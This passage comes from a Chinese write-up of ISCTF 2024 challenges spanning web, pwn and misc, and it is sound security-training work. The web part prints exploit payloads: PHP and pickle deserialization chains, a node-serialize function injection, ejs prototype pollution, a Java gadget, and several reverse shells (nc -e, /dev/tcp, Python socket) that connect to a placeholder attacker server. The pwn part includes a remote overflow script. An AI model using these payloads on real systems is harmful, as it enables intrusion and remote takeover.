if (md5($yin)==$yang&&md5($yin)==md5($yang)){
echo "哦？又一个不信天命之人？行了，拿了东西速速离开吧<br>";
system('cat /flag');
}
}
}
class Huoyanjinjing{
public $huoyan;
public $jinjing;
function __get($huo)
{
$this->huoyan="火眼能洞察一切邪祟！<br>";
echo $this->huoyan->jinjing;
}
function __invoke()
{
$this->jinjing="金睛能看破世间迷惘！<br>";
echo $this->huoyan->jinjing;
}
}
class Dinghaishenzhen{
public $Jindou="一个筋斗能翻十万八千里！<br>";
public $yun;

function __toString()
{
$f=$this->yun;
$f();
return "你真的逃出去了吗？天命人？<br>";
}
}
class Jingdouyun{
public $Qishier=72;
public $bian="看俺老孙七十二变！<br>";

function __sleep()
{
echo "三更敲门，菩提老祖送我筋斗云...<br>";
echo new Jindouyun();
}
}
class Tianmingren {
public $tianming;
public $ren;
function __destruct()
{
echo "迷途中的羔羊，你相信天命吗？<br>";
echo $this->tianming;
}
}
$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍，装备全靠打。');
?>

代码审计，首先是PHP反序列化，我们构建pop链：

Tianmingren=>Dinghaishenzhen=>Huoyanjinjing=>Wuzhishan，

其中Dinghaishenzhen到Huoyanjinjing这部分利用的是$f();调用魔术方法__invoke()，

Huoyanjinjing到Wuzhishan这部分利用的是->jinjing，即调用到不存在的字段时调用魔术方法__get($j)。

另外考虑到unserialize下方有一句throw new Exception，它将阻止我们在反序列化之后调用类的__destruct魔术方法，从而无法使我们的调用链成功执行。因此我们必须尝试使PHP GC强制回收一次以触发我们的__destruct魔术方法。

关于这部分内容，详细了解可以去看浅谈php GC(垃圾回收)机制及其与CTF的一点缘分 - 海屿-uf9n1x - 博客园

完整poc：

<?php
# 帮天命人搜集法宝，重获齐天之姿！
class Wuzhishan{
    public $wu="";
    public $zhi;
    public $shan;
}
class Huoyanjinjing{
    public $huoyan;
    public $jinjing;
}
class Dinghaishenzhen{
    public $Jindou="";
    public $yun;
}
class Tianmingren {
    public $tianming;
    public $ren;
}

$data = new Tianmingren();
$theTianMing = new Dinghaishenzhen();
$theYun = new Huoyanjinjing();
$theHuoyan = new Wuzhishan();

$theYun->huoyan = $theHuoyan;
$theTianMing->yun = $theYun;
$data->tianming = $theTianMing;


echo serialize(array($data, 0) );

我们将通过上面代码拿到的序列化字符串进行一些修改使其gc强制工作：

原字符串：

<font style="color:rgb(0, 0, 0);">a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:0:"";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:0:"";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:1;i:0;}</font>

<font style="color:rgb(0, 0, 0);">修改为</font>

<font style="color:rgb(0, 0, 0);">a:1:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:0:"";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:0:"";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:1;i:0;}</font>

<font style="color:rgb(0, 0, 0);">就能正常走到最终的判断块了，至于那个md5判断，只需要参数放一个开头为0e，md5之后还是0e的字符串，就可以绕过。这里提供一个可用的：0e215962017</font>

<font style="color:rgb(0, 0, 0);">最终post参数，拿到flag。</font>

小蓝鲨的临时存储室

一上来是个文件上传，我们直接上传一句话shell。

非常贴心，上传完还回显了路径。我们直接用中国蚁剑连接。

找到flag了，可惜打开是空的，但是大小也不是0byte呀？

这是因为权限问题：

你再多停留一会，就会发现中国蚁剑已经无法正常使用了：

推测可能是存在某脚本进行文件删除行为，将我们的shell删掉了。因此我们下次行动必须稍微快一点。

再次上传脚本并连接，发现可疑脚本down_file.sh，打开:

果然印证了我们的猜想，我们直接火速删除这行代码并保存，防止后续再删。

那么是否可以借助这个定时运行的脚本来修改我们flag的权限呢？

我们直接在里面的内容加上 chmod 755 /flag 并保存，再将down_file.sh这个文件的权限修改为0755，执行该脚本之后，便发现我们的flag权限已经被调整为0755，可以直接打开了。

千年樱

<?php
include "dir.php";
highlight_file(__FILE__);

echo "proof of work<br>";

if($_COOKIE['from'] === "ISCTF"){
echo $dir1;
}
else{
die('what? so where are you from?');
}

// <!-- do you want to learn more?  goto story.txt -->
?> proof of work
what? so where are you from?

首先是需要设置Cookie的from=ISCTF

根据回显提示，前往/get_contents_qwerghjkl.php

<!DOCTYPE html>
<html>
<head>
    <title>read! read! read!</title>

</head>

<body style="background: '/static/bg1.png' ">
    <?php
include "dir.php";
highlight_file(__FILE__);

if(file_get_contents($_POST['name']) === 'ISCTF'){
echo $dir2;
}
else{
die("Wrong!");
}


?>
</body>

</html>

这里需要让file_get_contents获取到ISCTF，可以使用data协议：

data://text/plain;ISCTF

根据回显前往/well_down_mlpnkobji.php

<!DOCTYPE html>
<html>
<head>
    <title>read! read! read! we need read!!!</title>

</head>

<body style="background-image: url('/static/bg2.png'); background-size: cover; background-attachment: fixed; ">
    <?php
include "dir.php";
highlight_file(__FILE__);

function waf($str){
if(preg_match("/http|php|file|:|=|\/|\?/i", $str) ){
die('bad hacker!!!');
}
}
$poc = $_POST['poc'];
waf($poc);
$filename = "php://filter/$poc/resource=/var/www/html/badChar.txt";
$result = file_get_contents($filename);
if($result === "sakura for ISCTF"){
echo "yes! master!";
eval($_POST['cmd']);
}

if($_GET['output'] == 114514 && !is_numeric($_GET['output'])){
var_dump($result);
}


?>
</body>

</html>

这里是要求我们通过php filter伪协议实现从流中读取内容为sakura for ISCTF，

我们使用这个在线小工具生成过滤流：

（这里考虑到由于该文件是有内容的，我们在使用小工具生成前需要思考如何将文件的内容删去。这里有一个方法：通过在sakura for ISCTF后添加<?php，在该php标签之后的内容都将会被php视为代码，之后在我们生成的过滤流最后添加上|string.strip_tags来删除这部分内容即可。）

PHP FilterChain Generator

生成之后的结果：

convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags

直接将这一坨拿去请求会发现报错：

这是因为第一句的韩文编码存在问题，我们将开头的convert.iconv.UTF8.CSISO2022KR|删去再次请求即可得到回显：

此时可以达成RCE，我们直接ls:

发现当前目录下存在flag.php，直接cat获取flag。

ezlogin

首先代码审计，可以发现后端采用ejs编写。ejs这块一般常考的一个原型链污染，另一个就是反序列化rce。Node.js 常见漏洞学习与总结 - 先知社区

打开看到auth函数内有对unserialize的调用，八九不离十就是反序列化rce了。

这里说一下要如何利用：

在将要被反序列化的json中，包含一个值，这个值有“ND_FUNC”这个字符串。在该字符串后面可以携带javascript进行执行。

基于这个原理，我们构建一个exploit rce json:(由于拿不到回显我们需要一台服务器来反弹shell)

{“rce”:"_$ND_FUNC$_function(){var net=require(’net’),cp=require(‘child_process’),sh=cp.spawn(’/bin/sh’,[]);var client=new net.Socket();client.connect(服务器port,‘服务器ip’,function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;}()",“username”:“guest”,“isAdmin”:“true”}

将该json base64编码后放入cookie中GET /index 即可反弹shell

新闻系统

这题有附件。打开附件进行代码审计：

一上来就看见flask和secret key，并且secret key已知，那么很有可能会在这里有说法。

一般来说就是flask session伪造之类的。

再往下看，发现了pickle.loads，并且参数可控，那很有可能也考pickle反序列化攻击漏洞。

继续审计，发现存在admin界面，并且是从session中读取状态。

那么这就需要我们伪造Session了。

直接使用flask-session-manager进行伪造：

.eJyrVipILC4uzy9KUbJSSkzJzcwzMjJS0lEqLkksKS2GiQEFSotTi_ISc1PhQrUAUyMTvw.ZzHlBQ.A0rqgO-aQi4R5-cbMqY4vC-lMAQ

成功进入后台界面。此时我们继续审计代码：

@app.route("/add", methods=["POST"])
def add_news():
    if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
        return redirect("/login")    
    serialized_news = request.form["serialized_news"]
    if newslist.add_news(serialized_news):
        return redirect("/admin")
    else:
        return jsonify({"error": "Failed to add news"})

这一块是用来添加新闻的，可以看到有一个add_news，我们进去看下：

def add_news(self, serialized_news) -> None:
        try:
            news_data = base64.b64decode(serialized_news)
            black_list = ['create_news','export_news','add_news','get_news']
            for i in black_list:
                if i in str(news_data):
                    return False
            news = pickle.loads(news_data)
            if isinstance(news,News):
                for i in self.news_list:
                    if i.title == news.title:
                        return False
                self.news_list.append(news)
                return True
            return False
        except Exception:
            return False

这里就涉及到我们上文审计到的pickle.loads方法了。因此我们现在开始构造包含攻击的News实例，并使用pickles.dumps导出序列化数据。

理论上去给类添加__reduce__去做也是没有问题的，这里没有限制字节码。不过我这里还是想提一下用pker去在字节码层面上完成此题，而且还能保证通过isinstance检测，让界面不崩溃。

为了方便，这里我们使用pker构建我们的payload：

（这道题依然没有回显为了反弹shell依然需要有自己的服务器）

news = OBJ(GLOBAL('__main__', 'News'), 'abcaa','defff')
s="python -c \"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('服务器IP',服务器PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);\""
system = GLOBAL('os', 'system')
system(s) 
return news

通过pyer构建该pickle字符串，导出后进行测试

import base64
import pickle

class News:
    def __init__(self, title, content) -> None:
        self.title = title
        self.content = content

    def __repr__(self) -> str:
        return f"news(name={self.title}, words={self.content})"


print(pickle.dumps(News("adada", "defff"), protocol=0))

abc = b'(c__main__\nNews\nS\'abcaa\'\nS\'defff\'\nop0\n0S\'python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'XXXX\\\',XXXX));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\'/bin/sh\\\',\\\'-i\\\']);"\'\np1\n0cos\nsystem\np2\n0g2\n(g1\ntRg0\n.'

print(base64.b64encode(abc).decode())
inst = pickle.loads(abc)
print(isinstance(inst, News))

输出 True，说明我们构建出来的payload成功绕过了isinstance的检测。

接下来直接将payload进行提交

可以看到，正常添加，也跳转回admin界面了。并且反弹shell已连接上，直接找flag即可。

小蓝鲨的故事

这个题我做的时候还没有hint，后面给的hint是：

直接访问robots.txt，得到key：zbIBWjHS

访问/，让我们Read Hacker，所以访问/Hacker

一个小故事，可看可不看，我们右键查看源码

界面底部有一行小字，告诉我们他是 ISctf_Hacker

请求下/flag，发现有内容：

通过burpsuite再次请求/，可以发现服务端给我们设了个session：

再看header，发现这是一个Werkzeug/1.0.1 Python/2.7.18的服务端，联合session推测是Flask。

解密session，结果是{“username”:{" b":“d3d3LWRhdGE=”}}，

联合上面得到的key，不难想到是flask-session伪造，因此我们直接flask-session-manager进行fake session，把d3d3什么玩意的替换成ISctf_Hacker

python flask_session_cookie_manager3.py encode -s zbIBWjHS -t "{'username': b'ISctf_Hacker'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlNWTmpkR1pmU0dGamEyVnkifX0.ZzXv1w.bo1OD2_7wrGswsiju-NggjROpck

生成session后填入请求中，再次get /flag，直接拿到flag。

ezejs

有附件，进行代码审计。

ejs编写，并且标出来backdoor：

看见outputFunctionName和这个copy函数立刻就能联想到是原型链污染，可惜几个常用的payload被过滤了，所以我们只能找其他路子。

关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全客 - 安全资讯平台

对nodejs源码进行分析，存在几个调用点：outputFunctionName, localsName, escapeFn和destructuredLocals。前三个都被河蟹了，那只能来搞第四个。

构建json：

{"__proto__":{"destructuredLocals":["a=a;global.process.mainModule.require('child_process').execSync('nc 服务器ip 服务器port -e /bin/sh');//var __tmp2"]}}

执行后有回显，说明已经加载，此时我们重新GET /，让ejs进行界面渲染，便可反弹shell

找flag。

蓝鲨的java入门课堂

审计代码，是个jar，拖入recaf分析：

一个SpringBoot应用，其中/ser是入口，这里是考urldns链的使用。我们看下Evil这个类：

它实现了Serializable，并且重写了hashCode()，根据HashMap的readObject的调用链：

HashMap.readObject();
HashMap.putVal();
HashMap.hash();
object.hashCode();

在读取到这个Evil对象时，将会调用hashCode，此时就会执行rce，完成攻击。

因此我们需要序列化一个合适的payload。

对了，需要提醒的是Evil这个类的包名必须和原来的保持一样，不然服务端读不出来是哪个类

POC如下：

package com.company;

import cat.uwu.begin_java.Evil;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class testdemo {
    
    public static byte[] serialize(final Object obj) throws Exception{
        ByteArrayOutputStream btout  = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static void main(String[] args) throws Exception{
        Constructor<Evil> constructor = Evil.class.getDeclaredConstructor(String.class);
        // 让构造函数可以访问
        constructor.setAccessible(true);
        // 创建Evil类的实例
        Evil evilInstance = constructor.newInstance("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/XXXX/XXX 0>&1");

        HashMap map = new HashMap();
        map.put(evilInstance, "ab");

        byte[] s = serialize(map);
        byte[] buffer = Base64.getEncoder().encode(s);
        String payload = new String(buffer);
        System.out.println(payload);
    }
}

这里为了不改变Evil实例的serializeUid，我使用反射来创建类的实例，否则post过去会报500错误。

将payload POST过去之后直接反弹shell，连接上就能cat flag。

小蓝鲨的书店

注意，本题我使用非预期解

这个题我直接用SourceLeakSearcher扫出题目源码了，不知道是不是预期的

直接审计代码，发现居然用的是THINKPHP 5.0.23，这个版本有一个严重的RCE漏洞，但经过我测试此漏洞已被修复。

在Index.php中发现它会在捐赠图书时上传image_path，而在读取书籍时将会读取image_path的文件，这就存在了任意文件读取的漏洞。

可以看到，参数image_path传入的是绝对文件路径/var/www/html/application/index/view/index/photos/index.jpg

由于前面有道题的附件里面有一个start.sh，我直接如法炮制去读这个start.sh，还真让我读到了：

data:image/png;base64, IyEvYmluL2Jhc2gKCm15c3FsZF9zYWZlICYKCm15c3FsX3JlYWR5KCkgewoJbXlzcWxhZG1pbiBwaW5nIC0tc29ja2V0PS9ydW4vbXlzcWxkL215c3FsZC5zb2NrIC0tdXNlcj1yb290IC0tcGFzc3dvcmQ9cm9vdCA+IC9kZXYvbnVsbCAyPiYxCn0KCndoaWxlICEobXlzcWxfcmVhZHkpCmRvCgllY2hvICJ3YWl0aW5nIGZvciBteXNxbCAuLi4iCglzbGVlcCAzCmRvbmUKCm15c3FsIC1lICJBTFRFUiBVU0VSICdyb290J0AnbG9jYWxob3N0JyBJREVOVElGSUVEIFdJVEggbXlzcWxfbmF0aXZlX3Bhc3N3b3JkIEJZICdyb290JztmbHVzaCBwcml2aWxlZ2VzOyIgLXVyb290IC1wcm9vdAoKaWYgW1sgLWYgL2RiLnNxbCBdXTsgdGhlbgogICAgbXlzcWwgLWUgInNvdXJjZSAvZGIuc3FsIiAtdXJvb3QgLXByb290CiAgICBybSAtZiAvZGIuc3FsCmZpCgppZiBbWyAtZiAvZmxhZy5zaCBdXTsgdGhlbgoJc291cmNlIC9mbGFnLnNoCmZpCgphcGFjaGUyLWZvcmVncm91bmQK

base64解码后
#!/bin/bash

mysqld_safe &

mysql_ready() {
    mysqladmin ping --socket=/run/mysqld/mysqld.sock --user=root --password=root > /dev/null 2>&1
}

while !(mysql_ready)
do
    echo "waiting for mysql ..."
    sleep 3
done

mysql -e "ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'root';flush privileges;" -uroot -proot

if [[ -f /db.sql ]]; then
    mysql -e "source /db.sql" -uroot -proot
    rm -f /db.sql
fi

if [[ -f /flag.sh ]]; then
    source /flag.sh
fi

apache2-foreground

可以看到此题应该是考SQL注入，但我们通过这个方法也能拿到flag。

我们接下来再读/flag.sh

data:image/png;base64, IyEvYmluL2Jhc2gKZWNobyAkRkxBRyA+IC90dHR0dHR0dHR0cHNxbF9mbGFnCmV4cG9ydCBGTEFHPW5vdF9mbGFnCkZMQUc9bm90X2ZsYWcKcm0gZmxhZy5zaA==

#!/bin/bash
echo $FLAG > /ttttttttttpsql_flag
export FLAG=not_flag
FLAG=not_flag
rm flag.sh

OK,那么flag就放在/ttttttttttpsql_flag，可以直接读取了！

data:image/png;base64, SVNDVEZ7Yjg5ZWU2ZGItNGVjNy00MGJiLTg4YmMtNGMxYjJmZGM5NThkfQo=

那么这就暴露了这个CTF平台存在的一个漏洞，可以让ctfer直接用这个方法读到flag，从而实现非预期解。

当然，thinkphp这个平台的漏洞也是数不胜数，网上也有其他人挖掘了其他漏洞的。

实际上本题的考点是通过首页的搜索框进行SQL注入来拿到flag

二、Pwn

NatCat

NC链接服务器即可回显flag

girlfriend

拖进IDA看一看

一个非常简单的栈溢出

先通过read() 覆盖掉s1使其为admin后进入vuln函数

可以看到**v1 数组是一个大小为 5 的 _QWORD 类型数组（每个元素为 8 字节，表示一个 64 位整数），即 v1 的总内存大小是 40 字节。

for (i = 0LL; i <= 7; ++i) 循环从 i = 0 到 i = 7，总共循环 8 次。
问题：数组 v1 仅有 5 个元素（v1[0] 到 v1[4]），但 i 的范围从 0 到 7，意味着当 i >= 5 时，代码会越过 v1 数组的边界，访问无效或意外的内存区域。
缓冲区溢出漏洞：当 i 达到 5、6、7 时，v1[i] 超出了数组的定义范围，这会导致 缓冲区溢出

只需要在输入第七次生日的时候传入amaze函数的地址使其跳转至amaze函数即可

exp

from pwn import *
port = 39500
def main():
    p = remote("27.25.151.12", port)
    payload = b'a' * 40 + b'admin'
    p.recvuntil(b'id')
    p.send(payload)

    for i in range(6):
        p.recvuntil(b'birthday')
        payload = b'6'
        p.sendline(payload)

    p.recvuntil(b'birthday')
    payload = b'4198942'
    p.sendline(payload)
    p.send(b'cat flag\n')
    p.interactive()
main()

[x] Opening connection to 27.25.151.12 on port 39500
[x] Opening connection to 27.25.151.12 on port 39500: Trying 27.25.151.12
[+] Opening connection to 27.25.151.12 on port 39500: Done
[*] Switching to interactive mode

ISCTF{3093e06d-4c43-48d9-bc99-bd74aa895968}

ezgame

拿到附件后把elf拖ida里看

这道题虽然说gets可以作为一个利用点，但我发现seed已经被置为1了，所以说我们直接写调用算出这2w个伪随机数

由于前面有个alarm，要在15秒内把这两万个随机数发完，一开始想的是否能覆盖i的值，后面发现for循环运行时先会把i置0，作为pwn低手没有别的办法，后面想了个招：

一次性把两万个随机数生成，然后用\n拼接后直接发过去，没想到还真可以

最后直接进入getshell函数，ls + cat flag。

三、Misc

问卷

。。。

小蓝鲨的签到02

010打开文件尾即Flag

CTF{blueshark!_@#2024$%^&*}

数字迷雾：在像素中寻找线索

stegsolve隐写 ISCTF{+9qn1DKdun!gl}

游园地1

百度识图找到

武汉中山公园

ISCTF{湖北省_武汉市_江汉区_中山公园}

游园地2

图片能看到的山崎居酒屋库迪咖啡小红书搜一下山崎居酒屋

再根据店面对比一下找到

圣地巡礼地图找到

ISCTF{湖北省_武汉市_江汉区_鸣笛1988商业街_恋爱绮谭}

小蓝鲨的签到01

拼起来关注微信公众号即可

ISCTF{Welcome_to_blueshark}

少女的秘密花园

文件尾后有压缩包数据提出来base_misc.zip加密的

爆破一下密码

040714

解压出flag.txt base64解码得到一张图片

发现图片不完整宽高修复

对照盲文解密即可红色的图像是数字

赢!rar

给出了压缩包密码解压没发现什么信息

分析一下压缩包

发现有一段NTFS数据流

ntfsstreamseditor扫一下

KGJB1J2NvEaJVR3xHNZFdMKsV6G2VTE++

XXencode解码 -> ISCTF{Beat_SfTian!!!!}

老八奇怪自拍照

颜色不太对劲 stegsolve看一看

发现 R5 G2 B1的图像有问题

提出来数据是一个压缩包

提示压缩包损坏删掉多余数据后解压出图片

查看属性

1ScTf2024! 推测是解密的key

stegdetect看一下是steghide

解密

File_Format

Win自解压程序爆破密码

ISCTF{WinACE_is_Easy_Subject_0v0}

watermark

key2.png为单盲水印

key2：64oRvUfta9yJsBv

key1.txt为文字盲水印

key1：FAAqDPjpgKJiB6m

key：FAAqDPjpgKJiB6m64oRvUfta9yJsBv 解密压缩包

ISCTF{Watermark_is_used_2_protect%digital*assets}

秘密

zip伪加密先修复了提取出jpg

文件名猜测OurSecret隐写

010看数据

0宽

ISCTF{Nic3_t0_m33t_you}

奇怪的txt

约瑟夫环问题编写exp代码

import base64

def josephus_circle(num_files, step):
    files = list(range(1, num_files + 1))  # 文件编号从1到137
    result = []  # 用于存放挑选的文件编号
    index = 0  # 起始位置

    # 进行约瑟夫环的数数与挑选过程
    while files:
        index = (index + step - 1) % len(files)  # 计算挑选的位置
        result.append(files.pop(index))  # 将文件编号加入结果并从列表中移除

    return result

# 调用约瑟夫环函数得到文件顺序
selected_files = josephus_circle(137, 7)

# 创建输出文件
with open("flag.txt", "w", encoding="utf-8") as output_file:
    for file_number in selected_files:
        file_name = f"txt/{file_number}.txt"
        try:
            # 读取每个文件的内容
            with open(file_name, "r", encoding="utf-8") as f:
                content = f.read().replace(" ", "") 
                content = "\n".join([line for line in content.splitlines() if line])  # 删除所有空行
                # 写入到输出文件中
                output_file.write(content + "\n")
        except FileNotFoundError:
            print(f"Warning: {file_name} not found and will be skipped.")
def recursive_base64_decode(encoded_content):
    try:
        # 尝试解码
        decoded_content = base64.b64decode(encoded_content)

        # 将解码后的内容转换为字符串
        decoded_str = decoded_content.decode('utf-8')

        # 递归解码
        if "==" in decoded_str or len(decoded_str) % 4 == 0:
            return recursive_base64_decode(decoded_str)
        else:
            return decoded_content

    except Exception as e:
        return decoded_content

with open('flag.txt', 'r') as file:
    encoded_content = file.read()

# 递归解码
decoded_content = recursive_base64_decode(encoded_content)

print("FLAG:", decoded_content.decode('utf-8'))

FLAG: ISCTF{@!98sw-&^si92-2$#334-2024!!}

神秘ping

下载文件发现是倒序正过来

因为题目是ping 筛选出来ping的信息能用来传递数据的似乎也就只有ttl了提取一下

重新编码一下

63 -> 00 127 -> 01 191 -> 10 255 -> 11

ISCTF{h1De_1n_TtL}

像素圣战

PixelJihad解密密码为ISCTF（题目描述）

10111110011011000011000110111111101100111101001110010110011101110001100100011111110101101101010011110011101001111010011011011111001100100101110111101100010010101110000111001011001001

题目描述：旋转

给他倒序一下再转ASCII

ISCTF{R3verse6_b1n4ry_l0l}

starry sky

st@rrysky.png 打开发现是base64数据解密得到图片

查看图片文件尾 XORKEY:FF

对xor文件进行xor运算，key为FF 得到xor.wav文件

使用MMSSTV进行数据转换得到DESKEY

YanHuoLG

对flag.txt进行des解密即可

ISCTF{Y0u_@r3_1ooking_@_st@rry_sky!}

神秘的wav

exp代码

import wave
import numpy as np
import os

# 创建一个静音音频文件
def create_silent_wav(file_name, duration_seconds, sample_rate=44100, bit_depth=16):
    num_samples = duration_seconds * sample_rate

    # 根据位深度选择数据类型
    if bit_depth == 16:
        max_amplitude = 32767  # 16-bit PCM的最大振幅
        dtype = np.int16
    elif bit_depth == 8:
        max_amplitude = 127  # 8-bit PCM的最大振幅
        dtype = np.int8
    else:
        raise ValueError("Unsupported bit depth")

    # 创建一个全为0的音频数据，表示静音
    samples = np.zeros(num_samples, dtype=dtype)

    # 创建.wav文件
    with wave.open(file_name, 'wb') as wav_file:
        wav_file.setnchannels(1)  # 单声道
        wav_file.setsampwidth(bit_depth // 8)  # 每个样本的字节数
        wav_file.setframerate(sample_rate)  # 采样率
        wav_file.writeframes(samples.tobytes())  # 写入静音数据

    print(f"{file_name} created successfully!")

# 将文本嵌入到音频文件的第二最低有效位
def embed_message(audio_file, message, output_file):
    with wave.open(audio_file, 'rb') as wav:
        frames = wav.readframes(wav.getnframes())

    frames_array = bytearray(frames)

    # 将消息转换为二进制
    message_bits = ''.join(format(ord(c), '08b') for c in message)
    message_bits += '00000000'  # 结束符，用00结束

    if len(message_bits) > len(frames_array):
        raise ValueError("Message is too large to fit in the audio file.")

    # 嵌入消息到第二最低有效位
    for i in range(len(message_bits)):
        frames_array[i] &= 0b11111101  # 清除第二最低有效位
        frames_array[i] |= (int(message_bits[i]) << 1)  # 将消息位嵌入第二最低有效位

    # 保存修改后的音频文件
    with wave.open(output_file, 'wb') as wav_out:
        wav_out.setnchannels(1)  # 单声道
        wav_out.setsampwidth(2)  # 16-bit深度
        wav_out.setframerate(44100)  # 采样率
        wav_out.writeframes(frames_array)

    print(f"Message embedded successfully into {output_file}")

def ext(inp):
    with wave.open(inp, 'rb') as wav:
        frames = wav.readframes(wav.getnframes())
    frames_array = bytearray(frames)
    message_bits = [str((frames_array[i] & 2) >> 1) for i in range(len(frames_array))]
    message = ''
    for i in range(0, len(message_bits), 8):
        byte = message_bits[i:i+8]
        char = chr(int(''.join(byte), 2))
        if char == '\x00':
            break
        message += char
    return message

# 测试流程
def test():
    # 生成静音音频文件
    create_silent_wav('silent_audio.wav', duration_seconds=5, sample_rate=44100, bit_depth=16)

